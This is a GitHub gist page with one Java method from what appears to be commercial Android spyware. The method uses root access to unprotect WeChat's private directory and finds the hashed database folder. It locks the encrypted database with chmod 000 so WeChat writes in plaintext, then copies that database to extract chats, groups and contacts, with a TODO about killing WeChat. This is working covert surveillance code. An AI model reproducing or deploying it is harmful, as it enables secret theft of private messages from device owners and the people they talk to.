Skip to content

Instantly share code, notes, and snippets.

@peterclemenko
Last active June 20, 2016 12:40
Show Gist options
  • Save peterclemenko/af148f0bbb8510606af8 to your computer and use it in GitHub Desktop.
Save peterclemenko/af148f0bbb8510606af8 to your computer and use it in GitHub Desktop.
// select messages._id,chat_list.key_remote_jid,key_from_me,data from
// chat_list,messages where chat_list.key_remote_jid =
// messages.key_remote_jid
/**
* Apre msgstore.db, estrae le conversazioni. Per ogni conversazione legge i
* messaggi relativi
*
* Se wechat non puo' scrivere nel db cifrato, switcha su quello in chiaro
* translation:
* Opens msgstore.db, extracts conversations. For each conversation reads
* Posts related
*
* If wechat can not 'write encrypted in db, switch of the plaintext
*
* @throws IOException
*/
private void readChatWeChatMessages() {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages)");
}
if (!readChatSemaphore.tryAcquire()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages), semaphore red");
}
return;
}
try {
boolean updateMarkup = false;
// cifrato
String dbEncFile = M.e("EnMicroMsg.db");
// in chiaro
String dbFile = M.e("MicroMsg.db");
String dbDir = "";
lastLine = markup.unserialize(new Long(0));
// Get DB Dir
boolean ret = Path.unprotect(M.e("/data/data/com.tencent.mm/MicroMsg/"), 2, false);
if(!ret){
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatWeChatMessages) Error: cannot unprotect wechat");
}
return;
}
// Not the cleanest solution, we should figure out how the hash is
// generated
File fList = new File(M.e("/data/data/com.tencent.mm/MicroMsg/"));
File[] files = fList.listFiles();
for (File f : files) {
// Database directory is an md5 hash name
// "671d5d475506b864194891d6a4d018e3"
if (f.isDirectory() && f.getName().length() == 32) {
dbDir = f.getName();
break;
}
}
if (dbDir.length() == 0) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatWhatsappMessages): Database directory not found"); //$NON-NLS-1$
}
return;
}
// Lock encrypted DB
dbDir = M.e("/data/data/com.tencent.mm/MicroMsg/") + dbDir + "/";
// chmod 000, chown root:root
Path.lock(dbDir + dbEncFile);
// TODO: si potrebbe killare wechat
// Translation: TODO: you could kill wechat
if (Path.unprotect(dbDir, dbFile, true)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages): can read DB");
}
long newLastLine = 0;
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages) cannot open db");
}
return;
}
try {
setMyAccount(helper);
ChatGroups groups = getChatGroups(helper);
// Save contacts if AddressBook is active
if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) {
saveWechatContacts(helper);
}
newLastLine = fetchMessages(helper, groups, lastLine);
}finally {
helper.disposeDb();
}
if (newLastLine > lastLine) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages): updating markup");
}
try {
markup.writeMarkupSerializable(new Long(newLastLine));
} catch (IOException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatWeChatMessages) Error: " + e);
}
}
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages) Error, file not readable: " + dbFile);
}
}
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatWeChatMessages) Error: ", ex);
}
} finally {
readChatSemaphore.release();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment